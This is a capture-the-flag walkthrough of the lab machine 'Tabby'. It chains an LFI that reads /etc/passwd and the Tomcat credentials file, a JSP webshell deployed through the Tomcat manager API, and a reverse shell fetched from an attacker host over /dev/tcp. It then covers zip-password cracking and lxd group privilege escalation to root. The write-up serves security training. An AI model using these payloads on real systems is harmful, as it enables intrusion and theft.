Tabby

Nmap :p

echo "10.129.x.x tabby.htb megahosting.htb" | sudo tee -a /etc/hosts
nmap -sC -sV -T4 tabby.htb
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4
80/tcp   open  http    Apache httpd 2.4.41 (Ubuntu)
8080/tcp open  http    Apache Tomcat

We see a website on 80 and Tomcat on 8080. Tomcat usually means we want manager creds so we can deploy a WAR file, so let’s keep that in mind.

LFI

The site on port 80 (“Mega Hosting”) has a statement about a data breach that links to:

http://megahosting.htb/news.php?file=statement

A file= parameter is always worth testing for LFI, and it works:

curl "http://megahosting.htb/news.php?file=../../../../etc/passwd"

We see an ash user in there. Now we can use the LFI to read Tomcat’s user config. The default page on 8080 tells us it’s Tomcat 9 installed from the Ubuntu package, which puts the config in a slightly weird spot:

curl "http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml"
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

We get creds for tomcat. Notice the roles though: we don’t have manager-gui, so the normal web manager isn’t an option. But manager-script gives us the text API at /manager/text, and that can deploy WAR files too.

Foothold

We built a JSP webshell into a WAR file:

wget https://raw.githubusercontent.com/tennc/webshell/master/jsp/cmdjsp.jsp
zip cmdjsp.war cmdjsp.jsp

And deployed it through the text API:

curl -T cmdjsp.war -u 'tomcat:$3cureP4s5w0rd123!' "http://tabby.htb:8080/manager/text/deploy?path=/app"
OK - Deployed application at context path [/app]

Now we have command execution at http://tabby.htb:8080/app/cmdjsp.jsp. The webshell struggled with special characters, so instead of a one liner we host a reverse shell script on kali and have the box download and run it:

echo "bash -c 'bash -i >& /dev/tcp/10.10.17.229/9001 0>&1'" > shell.sh
python3 -m http.server 8000
nc -lvnp 9001

Through the webshell:

curl 10.10.17.229:8000/shell.sh -o /tmp/shell
bash /tmp/shell

We catch a shell as tomcat and stabilize it:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

User

Looking around the web files we find a password protected backup archive at /var/www/html/files/16162020_backup.zip. We pull it back to kali and crack it:

zip2john 16162020_backup.zip > backup.hash
john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt
john backup.hash --show

The password is admin@it. Nothing useful inside the zip, but people reuse passwords, so let’s try it for ash:

su - ash

It works and we grab the user flag.

Privesc: lxd

Checking our groups:

ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

Being in the lxd group is basically root. The LXD daemon runs as root, and we’re allowed to tell it to make a privileged container and mount the host’s whole filesystem inside it. Inside that container we’re root, and the host’s / is right there.

On kali, build a small Alpine image and host it:

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server 8000

On the box as ash:

wget http://10.10.17.229:8000/alpine-v3.xx-x86_64-xxxx.tar.gz -O alpine.tar.gz
export PATH=$PATH:/snap/bin
lxd init --auto
lxc image import alpine.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

Inside the container the host filesystem is mounted at /mnt/root:

cat /mnt/root/root/root.txt

Ez gg.